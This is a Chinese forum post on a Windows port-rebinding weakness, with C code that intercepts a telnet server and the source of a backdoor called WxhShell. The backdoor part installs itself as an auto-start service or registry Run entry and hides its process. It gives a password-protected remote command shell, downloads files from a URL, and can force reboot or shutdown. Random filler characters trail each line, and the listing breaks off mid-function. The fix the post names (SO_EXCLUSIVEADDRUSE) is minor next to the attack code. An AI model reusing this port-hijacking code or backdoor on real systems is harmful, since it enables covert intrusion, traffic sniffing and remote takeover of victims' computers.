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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i`W~-J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,In%r`{i  
\3"B$Sp|=  
  saddr.sin_family = AF_INET; LbYIRX  
8@LUL)"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z30 mk  
t0r0{:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <Q"G aqZ  
^q#[oO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G e5Yz.Q v  
q2'}S A/  
  这意味着什么?意味着可以进行如下的攻击: .p> ".q I  
^,F G 9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X6_ RlV]Sk  
m{$}u@a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *|y$z+g/  
6 VuyKt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M d8(P23hS  
d{t@+}0.u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x*RSD,3  
,zr,>^ v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mBb3Ta  
gat;Er  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d:>'c=y  
-iY-rzW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "'@D\e}  
4;3Vc%  
  #include NZa 7[}H  
  #include *W`7JL,  
  #include '/t9#I@G\  
  #include    9v;HE{>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TJZ/lJU  
  int main() z wRF-{s  
  {  7U1 M;@y  
  WORD wVersionRequested; hN~H8.g  
  DWORD ret; _`O",Ff  
  WSADATA wsaData; 6R^32VeK($  
  BOOL val; `LLmdm 6i  
  SOCKADDR_IN saddr; IVZUB*wv)b  
  SOCKADDR_IN scaddr; cWZ uph\  
  int err; TC44*BHq  
  SOCKET s; 'q_Z dw%  
  SOCKET sc; 2boyBz}=S  
  int caddsize; & 0\:MJc  
  HANDLE mt; ?U[6X| 1  
  DWORD tid;   = $^90Q,Z;  
  wVersionRequested = MAKEWORD( 2, 2 ); !g6=/9  
  err = WSAStartup( wVersionRequested, &wsaData ); zPybP E8  
  if ( err != 0 ) { rQGInzYp  
  printf("error!WSAStartup failed!\n"); @mv G=:k  
  return -1; Ba5*]VGG  
  } S)wP];]`K  
  saddr.sin_family = AF_INET; lMh>eX  
   QV HI}3~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X>Q44FV!  
r|*_KQq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S]|sK Y  
  saddr.sin_port = htons(23); rNo/H<J%+j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %72(gR2Wa2  
  { 3**t'iWQ  
  printf("error!socket failed!\n"); !sEhjJV^7  
  return -1; iR./9}Ze  
  } =)c-Xz  
  val = TRUE; ~_"V7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QdcuV\B}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F=w:!tqA  
  { @mxaZ5Vv}  
  printf("error!setsockopt failed!\n"); G~bDl:k`A  
  return -1; @RszPH1B  
  } cF=WhP*f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w xte  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YEaT_zWG0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wd<{%qK`{  
yEbo`/ ]b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /3^XJb$Sa  
  { *c=vEQn-  
  ret=GetLastError(); Oso**WUOZ&  
  printf("error!bind failed!\n"); nh5=0{va|L  
  return -1; WjK[% ;Z!  
  } IQtQf_"e1  
  listen(s,2); f.^|2T I1g  
  while(1) W^xO/xu1 /  
  { GH-Fqz  
  caddsize = sizeof(scaddr); 3h=kn@I  
  //接受连接请求 ENr#3+m$;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OaY89ko  
  if(sc!=INVALID_SOCKET) Ai[@2AyU  
  { JrLh=0i9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~CV.Ci.dG  
  if(mt==NULL) v{ohrpb0v  
  { @~|;/OY>"  
  printf("Thread Creat Failed!\n"); \<`oW>  
  break; : 7"Q  
  } ^M q@} 0  
  } [:gg3Qzx  
  CloseHandle(mt); Gds(.]_  
  } 6s~B2t:Y  
  closesocket(s); b-#{O=B  
  WSACleanup(); T* 0;3&sA  
  return 0; R6fkc^  
  }   n-jPb064  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0k16f3uI   
  { Lp(`m=;O  
  SOCKET ss = (SOCKET)lpParam; ,K\7y2/  
  SOCKET sc; u<fZ.1  
  unsigned char buf[4096]; D QxuV1  
  SOCKADDR_IN saddr; & ck}3\sQ  
  long num; d|Wqx7t]P  
  DWORD val; =Hd#"9-  
  DWORD ret; s K+uwt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _Y&.Nw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (2> q  
  saddr.sin_family = AF_INET; j|Vl\Z&o)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x=7:D  
  saddr.sin_port = htons(23); 612,J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m{RXt  
  { aAGV\o{^  
  printf("error!socket failed!\n"); &}P#<"Fo8Q  
  return -1; &Lt$~}*&6  
  } a5 ZXrWv  
  val = 100; gU|:Y&lFZg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `f&::>5tD  
  { 579D  
  ret = GetLastError(); 3'0vLi  
  return -1; 25vjn 1$sW  
  } I9+h-t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :fL7"\ pf~  
  { >I~Q[  
  ret = GetLastError(); #\Y`?  
  return -1; sPW :[  
  } + <E zv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XtZd% #2},  
  { -o"b$[sf=Z  
  printf("error!socket connect failed!\n"); yeta)@nH  
  closesocket(sc); )b]wpEFl  
  closesocket(ss); d-Z2-89K  
  return -1; Nb ~J'"  
  } I|&DXF  
  while(1) e }C,)   
  { 1DAU *^-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fm^`   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J>T98y/))  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'bM=  
  num = recv(ss,buf,4096,0); t~K[`=G\ex  
  if(num>0) lv!j  
  send(sc,buf,num,0); 9RJ#zUK  
  else if(num==0) psIo[.$rTk  
  break; '9.@r\g  
  num = recv(sc,buf,4096,0); Jv3G\9_  
  if(num>0) ue7D' UZL>  
  send(ss,buf,num,0); &W<9#RPK'  
  else if(num==0) .,qh,m\Fo  
  break; wI 7gHp  
  } R8lja%+0$  
  closesocket(ss); H"w;~;h  
  closesocket(sc); J?Y,3cc.  
  return 0 ; .K4)#oC  
  } w<!,mL5 N  
nPI$<yW7F  
q+8de_"]  
========================================================== c9jS !uDMK  
}[!=O+g O  
下边附上一个代码,,WXhSHELL Yh!k uS#<  
;Q vQ fV4  
========================================================== kzCJs  
zq$L[ X  
#include "stdafx.h" ;?iu@h  
@.k^ 8hc  
#include <stdio.h> ;! ?l8R  
#include <string.h> PeiRe  
#include <windows.h> f &NX~(  
#include <winsock2.h> ipGxi[Vav  
#include <winsvc.h> G^h:#T  
#include <urlmon.h> 5cA:;{z];g  
alzdYiGf  
#pragma comment (lib, "Ws2_32.lib") qk^/ &j  
#pragma comment (lib, "urlmon.lib") $i<+O,@-  
SfY 5Xgp  
#define MAX_USER   100 // 最大客户端连接数 G{X7;j e  
#define BUF_SOCK   200 // sock buffer { )b  
#define KEY_BUFF   255 // 输入 buffer L;?h)8  
1]0;2THx  
#define REBOOT     0   // 重启 SFwY%2np)!  
#define SHUTDOWN   1   // 关机 +C7W2!I[G2  
b[:m[^  
#define DEF_PORT   5000 // 监听端口 e#}Fm;|d  
qo \9,<  
#define REG_LEN     16   // 注册表键长度 J1gnR  
#define SVC_LEN     80   // NT服务名长度 &CXk=Wj  
862rol  
// 从dll定义API /TB{|_HbW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &k_LK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |XQ_4{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pQ^V<6z}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3]}RjOTU  
$f+I#uJ  
// wxhshell配置信息 *m>[\)  
struct WSCFG {  yoe@]c=  
  int ws_port;         // 监听端口 tG9C(D`G  
  char ws_passstr[REG_LEN]; // 口令 1VG]|6f  
  int ws_autoins;       // 安装标记, 1=yes 0=no UB8n,+R  
  char ws_regname[REG_LEN]; // 注册表键名 ^  ~1QA  
  char ws_svcname[REG_LEN]; // 服务名 hD?6RVfG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >Sw?F&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >e-0A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :nl,A c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )'7Qd(4WT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f9y+-GhaD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =\5f_g2M  
6v%ePFul  
}; y>h9:q|  
)OQ<H.X  
// default Wxhshell configuration bV'r9&[_6  
struct WSCFG wscfg={DEF_PORT, >e.KD) qA  
    "xuhuanlingzhe", 74 )G.!  
    1, hHDLrr  
    "Wxhshell", Y+g(aak+.  
    "Wxhshell", iY,oaC~?"N  
            "WxhShell Service", Ie _{P&J  
    "Wrsky Windows CmdShell Service", ofz?L#:2  
    "Please Input Your Password: ", c 8Q2H  
  1, z9 #-  
  "http://www.wrsky.com/wxhshell.exe", sc# EL~  
  "Wxhshell.exe" suWO:]FR  
    }; {w"Cr0F,  
BOA7@Zaa$p  
// 消息定义模块 !.pcldx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {(Mmv[y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O<@L~S]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Ir*}s2{  
char *msg_ws_ext="\n\rExit."; Ijz*wq\s;  
char *msg_ws_end="\n\rQuit."; g6.I~o Q j  
char *msg_ws_boot="\n\rReboot..."; &IRM<A!8  
char *msg_ws_poff="\n\rShutdown..."; ~FXq%-J  
char *msg_ws_down="\n\rSave to "; \x4:i\Fx@  
cAVdH{$"  
char *msg_ws_err="\n\rErr!"; DaGny0|BB  
char *msg_ws_ok="\n\rOK!";  nsV=  
]WcN6|b+  
char ExeFile[MAX_PATH]; kj4=Q\Rfm  
int nUser = 0; { JDD"z  
HANDLE handles[MAX_USER]; N6+^}2' *)  
int OsIsNt; t7V7TL!5'  
'+g[n  
SERVICE_STATUS       serviceStatus; =_@) KWeX$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o#z$LT1dY  
jr#*;go  
// 函数声明 2_M+o]Z^  
int Install(void); k w   
int Uninstall(void); 61gyx6v  
int DownloadFile(char *sURL, SOCKET wsh); &U}8@;  
int Boot(int flag); 9^Web~yi#  
void HideProc(void); n6Z!~W8  
int GetOsVer(void); yn<J>e  
int Wxhshell(SOCKET wsl); R4k+.hR  
void TalkWithClient(void *cs); `2x.-  
int CmdShell(SOCKET sock); !yq98I'  
int StartFromService(void); 6zNWDUf  
int StartWxhshell(LPSTR lpCmdLine); VUHf-bKl  
yxf #@Je"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lg#(?tMp,'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s6_i>  
,Sy& ?t}`  
// 数据结构和表定义 F :Ps>  
SERVICE_TABLE_ENTRY DispatchTable[] = kr |k \  
{ cc}#-HKR[  
{wscfg.ws_svcname, NTServiceMain}, Hfo<EB2Y9N  
{NULL, NULL} jWh)bsqI!  
}; q0vZR"y  
]A#:Uc5  
// 自我安装 g:G5'pZf  
int Install(void) &_hEM~{  
{ _RZ"WA^[  
  char svExeFile[MAX_PATH]; "sY}@Q7  
  HKEY key; IX<9_q  
  strcpy(svExeFile,ExeFile); ~.0'v [N  
[*0M$4  
// 如果是win9x系统,修改注册表设为自启动 ^~@3X[No  
if(!OsIsNt) { &k-NDh3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h9iQn<lp4.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8$ #z>  
  RegCloseKey(key); 8_S| 8RW(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b^ [ z'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3=} P l,  
  RegCloseKey(key); hk S:_e=  
  return 0; UA ]fKi  
    } 2Yd@ V}  
  } Vx> Q  
} I Xm[c@5l  
else { nXI8`7D  
} _^ vvu  
// 如果是NT以上系统,安装为系统服务 (pd~ 2!;C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  M}@>h  
if (schSCManager!=0) T.-tV[2  
{ ,IE.8h)H  
  SC_HANDLE schService = CreateService :)tsz;  
  ( u&UmI-}  
  schSCManager, M_2>b:#A*  
  wscfg.ws_svcname, r ) _*MPY  
  wscfg.ws_svcdisp, %^nNt:N0  
  SERVICE_ALL_ACCESS, _VmXs&4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DQ c\[Gq&  
  SERVICE_AUTO_START, ZU+_nWnl  
  SERVICE_ERROR_NORMAL, t+]1D@hv  
  svExeFile, >gM"*Laa?  
  NULL, |>m'szca4  
  NULL, X7`-dSVE  
  NULL, u GqeT#dP  
  NULL, |_-w{2K  
  NULL t*A[v  
  ); H270)Cwn+  
  if (schService!=0) iSW<7pNq0  
  { $N;J)  
  CloseServiceHandle(schService); dga4|7-MY  
  CloseServiceHandle(schSCManager); #d/T7c#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fqq4Qc)#U&  
  strcat(svExeFile,wscfg.ws_svcname); _2{_W9k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~/z%yg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OJJ [Er1  
  RegCloseKey(key); Q .h.d))  
  return 0; !cM<&3/  
    } b09xf"D  
  } i'"#{4I  
  CloseServiceHandle(schSCManager); pPo(nH|<  
} .y3E @0a  
} ]7yxXg  
o^* :  
return 1; k`|E&+og  
} ZX1/6|_  
z/f._Z(  
// 自我卸载 Bmcc SC;o4  
int Uninstall(void) 4\*:Lc,-  
{ Vwh ;QJxb  
  HKEY key; dJJq]^|  
x;E/  
if(!OsIsNt) { UntFkoO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [6JDS;MIN  
  RegDeleteValue(key,wscfg.ws_regname); $;Iz7:#jN  
  RegCloseKey(key); #\QW <I#/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ^RT_Lky  
  RegDeleteValue(key,wscfg.ws_regname); K@g ~  
  RegCloseKey(key); ~_ZK93o(  
  return 0; J@E]Fl  
  } {Bk` Zlki  
} !t"/w6X1I  
} yI#qkl-  
else { rr1'| k "  
}zsIp,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ort*Ux)  
if (schSCManager!=0) 3HYdb|y  
{ ex1!7A!}g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Fn/=  
  if (schService!=0) 4dCXBTT  
  { mI4GBp  
  if(DeleteService(schService)!=0) { +ZW>JjP*  
  CloseServiceHandle(schService);  R.HvqO  
  CloseServiceHandle(schSCManager); zF[Xem  
  return 0; L/-SWid)  
  } ]GY8f3~|{  
  CloseServiceHandle(schService);  aY(s &  
  } hp(MKfhH  
  CloseServiceHandle(schSCManager); Y,Z$U| U  
} %%?}db1n  
} GQY" +xa8]  
JmK )Y# A  
return 1; #<9'{i3  
} S|k@D2k=  
<ml?DXT  
// 从指定url下载文件 Tc||96%2^  
int DownloadFile(char *sURL, SOCKET wsh) w`f66*@Q1  
{ uKM` umE  
  HRESULT hr; H+Bon=$cE!  
char seps[]= "/"; #xu1 eX0<  
char *token; %po;ih$jr*  
char *file; bF_0',W  
char myURL[MAX_PATH]; 3MHpP5C  
char myFILE[MAX_PATH]; c|9g=DjK  
+[uh);vD`G  
strcpy(myURL,sURL); /]Y#*r8jRi  
  token=strtok(myURL,seps); !J#P 'x0  
  while(token!=NULL) x/M$_E<G  
  { =lk'[P/p`  
    file=token; L v/}&'\(  
  token=strtok(NULL,seps); w/( T  
  } 9(S=0<  
ineSo8| @  
GetCurrentDirectory(MAX_PATH,myFILE); 4vG-d)"M2  
strcat(myFILE, "\\"); R"O%##Ws  
strcat(myFILE, file); {[Ri:^nHgL  
  send(wsh,myFILE,strlen(myFILE),0); x  zF  
send(wsh,"...",3,0); Wc+(xk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JB'tc!!*  
  if(hr==S_OK) \ { QH^  
return 0; Hkia&nz'3  
else #'%ii,;w Q  
return 1; ll$mRC  
af>i  
} LsIZeL^  
,#, K_oz  
// 系统电源模块 M=;csazN  
int Boot(int flag) 13v`rK`7o  
{ F1$XUos9  
  HANDLE hToken; *lLCH,  
  TOKEN_PRIVILEGES tkp; !=.y[Db=  
8i73iTg(  
  if(OsIsNt) { 7lwI]/ZH*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t-C|x)J+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2RNee@!JJP  
    tkp.PrivilegeCount = 1; CT|0KB&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fuA] y4A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R||$Rfe  
if(flag==REBOOT) { &4WA/'>R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {4 vWSb  
  return 0; ?OnL,y|  
} p.(+L^-=  
else { *.wj3' wV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B:v_5e\f@  
  return 0; Z*q&^/N  
} [Fag\/Y+  
  } D Q={  
  else { ET9tn1  
if(flag==REBOOT) { HX| p4-L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '*Dp2Y{7  
  return 0; k^K76mB  
} S#p_Y^A  
else { O!dS;p-F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X}3?k<m  
  return 0; 4pXY7+e2'  
} 8lqmd1v  
} &${| o@  
T^7}Qs9  
return 1; 4|\M`T  
} 1qn/*9W}=  
*!`&+w  
// win9x进程隐藏模块 hTv*4J&@|  
void HideProc(void) Oz(=%oS  
{ 'M?ptu?f  
^5~x*=_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~0-)S@  
  if ( hKernel != NULL ) 'Tqusr>lPY  
  { NF |[j=?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c%b|+4 }x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dly -mPmP  
    FreeLibrary(hKernel); X_ Lt{mf  
  } Txe*$T,(  
N&k\X]U  
return; e"sv_$*  
} jb/C\2U4)  
X5+^b({  
// 获取操作系统版本 ESIJ QM-[+  
int GetOsVer(void) IR2Qc6+{  
{ U_aI!`WXd  
  OSVERSIONINFO winfo; h 1 "#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w-km qh  
  GetVersionEx(&winfo); bY,dWNS:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X[w]aJnAr  
  return 1; Fpn'0&~-fi  
  else w0sy@OF  
  return 0; jc>B^mqx  
} D2 o|.e<r  
dW5r]D[Cx  
// 客户端句柄模块 zU0JwZi  
int Wxhshell(SOCKET wsl) 4C:dkaDq]  
{ 3ErV" R4"$  
  SOCKET wsh; # E8?2]  
  struct sockaddr_in client; ,_7m<(/f  
  DWORD myID; Ei<+{P(t0  
k{Y\YG%b  
  while(nUser<MAX_USER) =7:}/&  
{ X9" T(`  
  int nSize=sizeof(client); rfgsas{F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w}07u5  
  if(wsh==INVALID_SOCKET) return 1; l% %cU"  
[CV0sYEA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 67Tu8I/r  
if(handles[nUser]==0) I%j]pY4  
  closesocket(wsh); [%Dh0hOg  
else  _ qQ  
  nUser++; wt_ae|hv  
  } h"2^` )!u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %.uN|o&n  
K6~')9 Q  
  return 0; #=m:>Q?%z  
} bgInIe  
8|hi2Qeu,c  
// 关闭 socket Mcd K!V  
void CloseIt(SOCKET wsh) $x+ P)5)  
{ 9(KffnE^  
closesocket(wsh); F*:H&,  
nUser--; \naG  
ExitThread(0); $'a]lR  
} * _,yK-et  
LzB*d  
// 客户端请求句柄 zFwO(  
void TalkWithClient(void *cs) hNp.%XnnZ  
{ QX(t@VP  
}4Gn$'e  
  SOCKET wsh=(SOCKET)cs; , d4i0;2}+  
  char pwd[SVC_LEN]; ^#7&R"  
  char cmd[KEY_BUFF]; diw5h};W  
char chr[1]; UyNP:q:  
int i,j; lcoJ1+`C  
:3}K$  
  while (nUser < MAX_USER) { Q6[h;lzGV  
:f RGXrn  
if(wscfg.ws_passstr) { g-+/zEOUS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z7*mT}Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7H[.o~\  
  //ZeroMemory(pwd,KEY_BUFF); 2 t]=-@  
      i=0; 23zR0z(L  
  while(i<SVC_LEN) { mj2sbRiSR=  
C[JPohm  
  // 设置超时 0@#d($'1?Z  
  fd_set FdRead; \FyHIs  
  struct timeval TimeOut; k0DX|O8mXV  
  FD_ZERO(&FdRead); .ityudT<  
  FD_SET(wsh,&FdRead); vmtmiN8;d  
  TimeOut.tv_sec=8; %vrUk;<35  
  TimeOut.tv_usec=0; r*ry8QA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q +c~Bd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?kc,}/4  
sJLJVSv8c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & =vi]z:[  
  pwd=chr[0]; }e,*'mCC*  
  if(chr[0]==0xd || chr[0]==0xa) { {E>(%vD  
  pwd=0; SjU0X b)[  
  break; RYX=;n  
  } &R}2/Mt  
  i++; }9&~+Q2  
    } Cx`?}A\%  
rEZMX2  
  // 如果是非法用户,关闭 socket x$V[xX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8~h.i1L  
}  *U4eL-  
zQ,ymf T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #c2JWDH1F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pS)/yMlVj  
;KW}F|  
while(1) { y+a]?`2  
\Ot,&Z k2  
  ZeroMemory(cmd,KEY_BUFF); >PiEu->P,  
Y-:{a1/RKo  
      // 自动支持客户端 telnet标准   (K->5rSU  
  j=0; &r !*Y&  
  while(j<KEY_BUFF) { @{UtS2L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *.NVc  
  cmd[j]=chr[0]; D7b] ;Nf\  
  if(chr[0]==0xa || chr[0]==0xd) { Ea[K$NC)#  
  cmd[j]=0; VSa#X |z  
  break; |B.tBt^  
  } XQL]I$?  
  j++; *b]$lj  
    } YXhxzH hPd  
`G^MTDp?L+  
  // 下载文件 *J] }bX  
  if(strstr(cmd,"http://")) { -XtDGNH F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2_lb +@[W  
  if(DownloadFile(cmd,wsh)) VKp4FiI6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u >o2lvy8  
  else s@vHU4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E%6}p++  
  } op|/_I$  
  else { &]Q\@;]Aq  
H[&X${ap  
    switch(cmd[0]) { U(cV#@Y  
  H"A|Z6y$^  
  // 帮助 w{; esU  
  case '?': { (:]on^|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c31k%/.  
    break; &}G2;O}3  
  } ~4fjFo&_\  
  // 安装 ^ LT KX`p  
  case 'i': { "eiZZSz  
    if(Install()) +5:oW~ ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]N+(SU  
    else {@c)!% 2$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZ6g u$ n*  
    break; t  Tky  
    } G 'sEbw'[  
  // 卸载 gE>_:s   
  case 'r': { b+.P4+  
    if(Uninstall()) ^%V^\DK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <g|\]\C|  
    else :NJ(QkTZv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P<@V  
    break; { ke}W  
    } "[ 091<  
  // 显示 wxhshell 所在路径 pPNU0]/  
  case 'p': { 7LM?<lp]  
    char svExeFile[MAX_PATH]; 6ZCSCBW  
    strcpy(svExeFile,"\n\r"); G/:;Qig  
      strcat(svExeFile,ExeFile); kCWaji_x%  
        send(wsh,svExeFile,strlen(svExeFile),0); Tq7cZe"6  
    break; +p:#$R)MW  
    } H53dy*wb$  
  // 重启 JlZU31Xws  
  case 'b': { ]YP J.[n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bg?f}nu7  
    if(Boot(REBOOT)) ]D@_cxud3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(De> gs$  
    else { Ydw04WEJ  
    closesocket(wsh); u!FX 0Ip  
    ExitThread(0); 9 -\.|5;:  
    } -^i[   
    break; b42"Y,sbB  
    } #-wtNM%1#  
  // 关机 x4&<Vr  
  case 'd': { dy^Zlu` f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M PhG:^g  
    if(Boot(SHUTDOWN)) 6tC0F=  
